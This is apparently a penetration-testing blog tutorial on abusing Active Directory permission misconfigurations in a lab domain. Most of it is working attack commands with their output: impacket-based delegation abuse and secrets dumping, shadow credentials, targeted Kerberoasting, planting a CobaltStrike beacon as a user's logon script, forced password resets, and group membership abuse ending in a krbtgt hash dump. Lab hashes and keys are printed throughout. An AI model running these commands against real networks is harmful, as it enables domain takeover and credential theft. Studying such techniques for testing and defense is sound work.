Active Directory DACL Attacks

Active Directory objects such as users and groups have associated permissions. These permissions are enforce using Discretionary Access Control Lists (DACLs). A DACL is composed of a number of Access Control Entries (ACE).

These entries can be configured using Active Directory Users and Computers management console;

The below table shows the access rights and what they enable an adversary to do;

Access RightMeaning
GENERIC_ALLAll access rights.
GENERIC_READRead rights.
GENERIC_WRITEWrite rights.
AllExtendedRightsGrants DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges. Allows replicating objects.
User-Force-Change-PasswordAbility to reset an accounts password.

A list of extended Active Directory rights is available here.

Run bloodhound-python against the domain. It’s important to use the “-c All” option to ensure ACL information is being collected.

bloodhound-python -d bordergate.local -dc DC01.bordergate.local -u alice -p Password1 --zip
INFO: Found AD domain: bordergate.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.bordergate.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 5 computers
INFO: Found 7 users
INFO: Connecting to LDAP server: DC01.bordergate.local
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SERVER2.bordergate.local
INFO: Querying computer: SERVER01.bordergate.local
INFO: Querying computer: DESKTOP-4OL1GMS.bordergate.local
INFO: Querying computer: DC01.bordergate.local
INFO: Done in 00M 01S
INFO: Compressing output into 20231201143013_bloodhound.zip

Uploading the Zip file to bloodhound and running the “Shortest Path from Owned Principals”, we get the following graph. The user Alice will be the source of these attacks.

So, there a number of conditions we can exploit here;

  • Alice is a transitive member of the EVERYONE group, which has GenericWrite permissions to SERVER2. This server is actually a member of the Domain Admins group, although that is not reflected in the graph.
  • Alice is a transitive member of the Authenticated Users group. This group has GenericWrite privileges over the BOB account, which is a member of the Domain Administrators group.
  • Being in the Authenticated Users group, Alice also has GenericWrite privileges over the SERVER_ADMIN group which is a member of the Domain Administrators group.

This article will be looking at exploiting the following;

GenericWrite on Computer Accounts

GenericWrite on a User Accounts

GenericAll on User Accounts

GenericWrite on Groups


There are two ways of exploiting GenericWrite on a computer account. Firstly, we can introduce Resource Based Constrained Delegation to the target host to allow us to impersonate users. Further information on Kerberos Delegation Attacks can be found here.

Resource Based Constrained Delegation

Add a Computer Account

Resource Based Constrained Delegation allows a source host to impersonate users on a target. So, to start we need to create a computer account in the domain. By default, each Active Directory user can create 10 accounts;

impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 192.168.1.205 -domain-netbios bordergate.local  'BORDERGATE.lOCAL/Alice:Password1'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account ATTACKERSYSTEM$ with password Password1!.

Add RBCD to the Target

Next, we use impacket-rbcd to add the msDS-AllowedToActOnBehalfOfOtherIdentity property to the target system.

impacket-rbcd -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'SERVER2$' -action 'write' 'BORDERGATE.LOCAL/alice:Password1'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on SERVER2$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKERSYSTEM$   (S-1-5-21-3145080211-1542655718-1073859234-1110)

Generate a Kerberos Service Ticket

We can now generate a Kerberos ticket purporting to be any user in the domain.

impacket-getST -spn 'cifs/server2.bordergate.local' -impersonate 'Administrator' 'bordergate.local/ATTACKERSYSTEM$:Password1!'
Impacket v0.11.0 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Import the Ticket

Set the KRB5CCNAME environment variable, and execute klist to ensure the ticket has been imported correctly;

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/home/kali/Administrator.ccache
                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/home/kali/Administrator.ccache
Default principal: Administrator@bordergate.local

Valid starting     Expires            Service principal
01/12/23 14:15:40  02/12/23 00:15:40  cifs/server2.bordergate.local@BORDERGATE.LOCAL
        renew until 02/12/23 14:14:51

Extract the SAM Database

Using the -k option in impacket tools then lets us authenticate to the target host using Kerberos. We can remotely extract LSA secrets.

impacket-secretsdump bordergate.local/administrator@server2.bordergate.local -k -dc-ip 192.168.1.205 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2ea95c18b8066845012006cc0a38e60f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bce86ff3bde5a13e0a97398231766dfc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f60f6146a5afb4356a5249f0a238028a:::
[*] Dumping cached domain logon information (domain/username:hash)
BORDERGATE.LOCAL/Administrator:$DCC2$10240#Administrator#976975efcf441c2590732f842407b9ce: (2023-12-01 13:04:26)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
BORDERGATE\SERVER2$:plain_password_hex:260c11206e3a97d4fe705c162b34b9936aefed64229a3eea8fac618f5001687874ec82c14b95228261697296bfa22902d3221ee6ba1f86338eaa1c293010fbe08fcd3d18deb02760272b23c7ee12493a3e25f2b482db894e28c137b03ad6017eb1704d0ba69633d3ae8d0d77e6450564bf87aefeb33ba457e20711c8327851d0925e1169320606a3a9096021109f26153003d2cbf79fec6ca32b56f311873a9684ef600e333babd10cdbc03d0c72bbfbcd36227fafd48cb4809f223551e7dfd6162fc2cede2c5c1137f893d452a321e6268c08e68343d214c6e17e55c7dacfe76d70a0245b3c8ec0945ffaccf2eb9571
BORDERGATE\SERVER2$:aad3b435b51404eeaad3b435b51404ee:ea953ebbebc6b95b8a38c43711c94061:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x95d5bf84cae18b0663ff4772598bf301e1989ef4
dpapi_userkey:0xac0e09639dbdded8f19e5ec6dc87cf82a717822b
[*] NL$KM 
 0000   09 F1 44 C6 48 DE 62 71  33 20 17 28 67 14 EB 2D   ..D.H.bq3 .(g..-
 0010   C5 AB 1E A0 FC 66 FB C7  C7 CD F5 EF 93 C9 59 27   .....f........Y'
 0020   DD CC 35 E9 1A CF 56 86  8F 2F 9B 75 66 F3 18 91   ..5...V../.uf...
 0030   E2 D2 05 B5 CC 75 12 71  52 BE EB 08 BC 92 73 58   .....u.qR.....sX
NL$KM:09f144c648de6271332017286714eb2dc5ab1ea0fc66fbc7c7cdf5ef93c95927ddcc35e91acf56868f2f9b7566f31891e2d205b5cc75127152beeb08bc927358
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

Browse the Remote Filesystem

The ticket can also be used to browse the target systems file system, or create a remote session with impacket-psexec.

impacket-smbclient bordergate.local/administrator@server2.bordergate.local -k -dc-ip 192.168.1.205 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
CertEnroll
IPC$
# use C$
# ls
drw-rw-rw-          0  Fri Oct 20 10:49:03 2023 $Recycle.Bin
drw-rw-rw-          0  Fri Dec  1 13:08:59 2023 $WinREAgent
drw-rw-rw-          0  Fri Oct 20 17:50:42 2023 Documents and Settings
-rw-rw-rw-      12288  Fri Oct 20 11:08:26 2023 DumpStack.log.tmp
drw-rw-rw-          0  Fri Oct 20 10:12:14 2023 inetpub
-rw-rw-rw- 1476395008  Fri Oct 20 11:08:26 2023 pagefile.sys
drw-rw-rw-          0  Fri Oct 20 18:49:06 2023 PerfLogs
drw-rw-rw-          0  Fri Oct 20 09:55:31 2023 Program Files
drw-rw-rw-          0  Fri Oct 20 18:49:06 2023 Program Files (x86)
drw-rw-rw-          0  Fri Dec  1 14:15:19 2023 ProgramData
drw-rw-rw-          0  Fri Oct 20 17:50:43 2023 Recovery
drw-rw-rw-          0  Fri Oct 20 17:50:02 2023 System Volume Information
drw-rw-rw-          0  Fri Oct 20 10:48:57 2023 Users
drw-rw-rw-          0  Fri Oct 20 10:22:13 2023 Windows

Shadow Credentials

Shadow Credentials are an alternative way of exploiting a WriteDACL on a target computer account. This attack involves adding the msDS-KeyCredentialLink attribute to the target account, to allow users to authenticate to the host using a certificate. For this to work the functional level of the domain must be at least 2016 (this being the most recent), and a certification authority (AD CS) must be configured in the domain.

python3 pywhisker.py -d "bordergate.local" -u alice -p Password1 --target "SERVER2$" --action add --dc-ip 192.168.1.205 -v
[*] Searching for the target account
[*] Target user found: CN=SERVER2,CN=Computers,DC=bordergate,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: bedfb11d-8618-7b35-2361-6b548db143b2
[*] Updating the msDS-KeyCredentialLink attribute of SERVER2$
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[VERBOSE] No filename was provided. The certificate(s) will be stored with the filename: gUXt1izq
[VERBOSE] No pass was provided. The certificate will be stored with the password: gSK0HAnqzvpcxwaXCkHH
[+] Saved PFX (#PKCS12) certificate & key at path: gUXt1izq.pfx
[*] Must be used with password: gSK0HAnqzvpcxwaXCkHH
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[VERBOSE] Run the following command to obtain a TGT
[VERBOSE] python3 PKINITtools/gettgtpkinit.py -cert-pfx gUXt1izq.pfx -pfx-pass gSK0HAnqzvpcxwaXCkHH bordergate.local/SERVER2$ gUXt1izq.ccache

python3 PKINITtools/gettgtpkinit.py -cert-pfx gUXt1izq.pfx -pfx-pass gSK0HAnqzvpcxwaXCkHH bordergate.local/SERVER2$ gUXt1izq.ccache
2023-12-03 09:43:29,158 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2023-12-03 09:43:29,176 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2023-12-03 09:43:29,272 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2023-12-03 09:43:29,272 minikerberos INFO     21f54449400763efc1ca3efbdcb0b462e7e324569e8597dbb2ba445e0166f540
INFO:minikerberos:21f54449400763efc1ca3efbdcb0b462e7e324569e8597dbb2ba445e0166f540
2023-12-03 09:43:29,275 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file


export KRB5CCNAME=/home/kali/gUXt1izq.ccache 
                                                                                                                                             
klist
Ticket cache: FILE:/home/kali/gUXt1izq.ccache
Default principal: SERVER2$@BORDERGATE.LOCAL

Valid starting     Expires            Service principal
03/12/23 09:43:48  03/12/23 19:43:48  krbtgt/BORDERGATE.LOCAL@BORDERGATE.LOCAL

We can verify the ticket imported correctly by browsing the systems C$ share;

impacket-smbclient bordergate.local/'SERVER2$'@server2.bordergate.local -k -dc-ip 192.168.1.205 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
CertEnroll
IPC$
# use C$
# ls
drw-rw-rw-          0  Fri Dec  1 16:00:05 2023 $Recycle.Bin
drw-rw-rw-          0  Fri Dec  1 13:08:59 2023 $WinREAgent
drw-rw-rw-          0  Fri Oct 20 17:50:42 2023 Documents and Settings
-rw-rw-rw-      12288  Fri Oct 20 11:08:26 2023 DumpStack.log.tmp
drw-rw-rw-          0  Fri Oct 20 10:12:14 2023 inetpub
-rw-rw-rw- 1476395008  Fri Oct 20 11:08:26 2023 pagefile.sys
drw-rw-rw-          0  Fri Oct 20 18:49:06 2023 PerfLogs
drw-rw-rw-          0  Fri Oct 20 09:55:31 2023 Program Files
drw-rw-rw-          0  Fri Oct 20 18:49:06 2023 Program Files (x86)
drw-rw-rw-          0  Fri Dec  1 16:08:01 2023 ProgramData
drw-rw-rw-          0  Fri Oct 20 17:50:43 2023 Recovery
drw-rw-rw-          0  Fri Oct 20 17:50:02 2023 System Volume Information
drw-rw-rw-          0  Fri Dec  1 15:59:58 2023 Users
drw-rw-rw-          0  Fri Oct 20 10:22:13 2023 Windows
# 


With write access to a users account, we can either add an Service Principal Name (SPN). to the account (to allow for Kerberoasting) or change the users logon script for remote code execution.

Targetted Kerberoasting

A script is available here to perform this attack; https://github.com/ShutdownRepo/targetedKerberoast. The script will add an SPN to accounts that we have write access to, Kerberoast the account then remote the SPN. Further information about Kerberoasting attacks is available here.

python3 targetedKerberoast.py -v -d bordergate.local -u alice -p Password1 --request-user bob
[*] Starting kerberoast attacks
[*] Attacking user (bob)
[VERBOSE] SPN added successfully for (bob)
[+] Printing hash for (bob)
$krb5tgs$23$*bob$BORDERGATE.LOCAL$bordergate.local/bob*$6d2e1d549b60072025aac8f8c0b8db5d$909e278ecb6a0f519d78a4b181a854c854eafdd0d86dc8b85ffd4f8a073a8f353c76fd20913cb9079dcc3fc7f7ea0a214f7c9f745fdc3b2672a474a30b9cd019619ba41d127b6b7be56cb1d182ae320cffb606a3320711cc64ad5791a12b5637174b35001299d85aa64e26623197668e748787b1b80f49c552f32603e31671417ee5d0765becb65c8c50907934be9a474417cb695c45c575b08194a8bdfcc8bbe86ce4f98ed83465b5075a0fe0c085509c7a6e632b7a3abf54016b6057b5b0f7250bfcbe9c659e3efd1e8dbdbdc1def213bc74cac4601b805916010fe9470949a31cb462e1e0399074a157d1179bcde20b1b4e5b05169a7ef53e57c89b136c986dff5a7035fd798e69c9858ada693a0704d6e7802569a919598842b7512bcfa8142db2e2f56225a4d4095772cf4f7001e92e45fbf89c1ad3a76d0f21fca8e0b24d6820e31f389d1d5c75d1e1dfabbc0fafa6007fb353036cd3fea5d4af9ca8245432e62428513b954820388ec6264865bf5320a6dba1ce0d824a293d70866362882ae224e24cc2ef8f00cca313b71fb83aeb1f49c46c15578be93a60ae841bc44477e2c43db387f2ef737c71edfddf0277899a0911431d9e08648dbb7c17af3de1d64dcd19a4cffb2dcd6a89e46278c99899044b6c617752ae7d90c48d8b15ba42fc3792c73da39ca40a586f2ae3b501f8240abcc6a1c075070d04f442272f96d8e7501794bf8adb87140cbeeec8f736ec34ad68faf0cb5672ee4930e0dd25146cef8ccb77bc4567b381309edd789c72f3ccf315bf812abb2786c2fae0825370c3b76558aff3033b73885492efc28ddeaf0f3a447f3482a49ccf8b5bca215d0b0466d1b30eba8282d2a31081afc0ebf0ed862e9e241ed1240312088b7975b4587109bc36c0801f66f4f883e712104eb18e0f52d5aa6ad93b0f1cf3ef9cb44c24f40dcad021f742a39334318607b94131dce89fd25f9074d67e832bb110160b2266e22e89833dcb7b421ccdc163d722f535137c43848e423fdc1fb93a3a42dac127fd2a1c399eb9ccb81df536809b135adfdb3f816dcc5c56d98100d55f31b759aa5da9fb9a3920c43fecede21a610554fdc5e856d2fcb567571de4abdbf65fb19648eaca87f3b76e3b1603887cdd9348096f7007934e7b4994aec5ad6e652c3e4eaee2e63421818223397f1d1a3bb85e214c842f2da5e7c8aa15c708c4882c508c8dcf545afd509d96d3b7d5a688c090897cff3f44662318fd1f435837131f8f4098a1365a9b0dcfd3c05cdd6da24dcbe33adfba37b43a15bda7820445da5bd21d54daa50393d370ade762e07a0e1628553af02bc7e5e36161cb542630acd18cebfe5ea4a03dd89bc126790436b4c3a65e76839d37ca2086ddeff9c5a551b3dc17fb92274e6040b0faeda76e9fe019c99dc72b84546eced481779e35b6028b13273abd923f491e8f908e9c7758e788e797d40f17f16c226a96296bee313c
[VERBOSE] SPN removed successfully for (bob)

Logon Script Modification

Alice can add a logon script that runs a command when Bob logs in. This script needs to be stored in the NETLOGON share on the server. By default this share is not writeable by standard users, however administrators may misconfigure the share permissions. In this example, we have a writeable directory called scripts that we place a CobaltStrike beacon inside;

PowerView Set-DomainObject can then be used to set Bob’s logon script to the beacon file;

PS C:\Users\alice\Desktop> . .\PowerView.ps1
PS C:\Users\alice\Desktop> Set-DomainObject bob -Set @{'scriptPath'='SCRIPTS\beacon.exe'} -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.BORDERGATE.LOCAL/DC=BORDERGATE,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=bob)(name=bob)(displayname=bob))))
VERBOSE: [Set-DomainObject] Setting 'scriptPath' to 'SCRIPTS\beacon.exe' for object 'bob'
PS C:\Users\alice\Desktop>

We can verify the logon script has been changed;

Get-DomainUser -Identity bob -Properties scriptpath

scriptpath
----------
SCRIPTS\beacon.exe

When Bob logs into a system, the beacon will execute.


If we have GenericAll privileges over a user account, we can reset it’s password.

pth-net rpc password charles -U "bordergate.local/alice"%'Password1'  -S 192.168.1.205
Enter new password for charles:
E_md4hash wrapper called.


Alice cannot currently DCSync the domain.

impacket-secretsdump alice:'Password1'@dc01.bordergate.local -just-dc-ntlm -just-dc-user krbtgt
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up... 

However, she can add herself into the SERVER_ADMIN group which is a member of Domain Admins. We can do this using pth-net from Linux;

pth-net rpc group addmem "SERVER_ADMIN" "alice" -U "bordergate.local/alice"%'Password1'  -S 192.168.1.205
E_md4hash wrapper called.
                                                                                                                                                             
impacket-secretsdump alice:'Password1'@dc01.bordergate.local -just-dc-ntlm -just-dc-user krbtgt          
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8df8cbe83f452f60dd41bd4df07582e6:::
[*] Cleaning up... 


DACL misconfiguration issues are common, particularly in large Active Directory environments. Products such as Bloodhound Enterprise can assist in identifying these issues.